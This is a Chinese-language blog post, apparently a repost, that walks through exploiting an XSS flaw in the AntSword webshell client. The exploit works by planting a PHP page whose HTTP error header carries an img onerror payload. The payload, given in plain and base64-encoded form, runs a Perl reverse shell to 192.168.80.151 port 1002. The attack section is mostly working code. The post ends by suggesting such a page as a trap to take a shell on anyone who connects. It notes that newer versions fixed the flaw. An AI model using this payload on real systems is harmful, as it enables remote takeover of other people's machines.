1. 程式人生 > >蟻劍xss漏洞,獲取***者shell

蟻劍xss漏洞,獲取***者shell

stdout 當我 .com buffer ash ges 沒事 深入 get

今日在github上看到蟻劍暴露了一個xss漏洞,自己也經常使用蟻劍。同時在freebuf上也有一篇文章,關於蟻劍漏洞的。閑著沒事測試了一波。

一、漏洞成因

蟻劍shell遠程連接失敗時,蟻劍會返回錯誤信息,但因為使用的是html解析,導致xss漏洞。

用過蟻劍的童靴都清楚,當我們遠程連接寫好的webshell的時候,有時候可能因為shell書寫錯誤或者鏈接填寫不當的時候,會出現大堆的錯誤代碼。
技術分享圖片

該信息並沒有進行 XSS 保護,因此能夠利用 js 調用 perl 便可反彈***者的shell

很多時候我們不去註意,但這裏恰恰就是漏洞利用點。(漏洞往往就在你的眼皮地下,你只要向下看看就能找到。可惜我們只向前看,不向下看。)

二、漏洞驗證

鑒於本人對js沒有深入了解,只懂得些皮毛。這裏就直接引用別人寫好的shell了

(1)驗證xss漏洞的存在

<?php header(‘HTTP/1.1 500 <img src=# onerror=alert(1)>‘);?>

技術分享圖片

Head()函數,向客戶端發送原始的 HTTP 報頭。
當蟻劍遠程連接shell的時候就會觸發彈框。

(2)反彈***者shell

require(‘child_process‘).exec(‘perl -e \‘use Socket;$i="192.168.80.151";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\‘‘,(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });

將這些代碼進行base64加密

cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7

構造header

<?php

header("HTTP/1.1 406 Not <img src=# onerror=‘eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7`,`base64`).toString())‘>");
?>

將其寫入被***中的網站目錄下
技術分享圖片

被***機監聽1002端口
技術分享圖片

***機蟻劍遠程連接

技術分享圖片

獲得***者shell
技術分享圖片

在最新的版本中, 修改了 toastr 可以輸出 html 的特點,以後均不支持輸出 html。建議及時更新到最新版本

三、總結

如果你檢測到了自己被上傳了webshell,不妨可以試一試這個漏洞,對方如果使用的是蟻劍,當對方連接你的時候,也是他上線的時候。或者在比賽(zhen shi)環境的時候,故意制造一個這樣的shell,誘惑一些小可愛連一下。

參考鏈接:
https://github.com/AntSwordProject/antSword/issues/147

蟻劍xss漏洞,獲取***者shell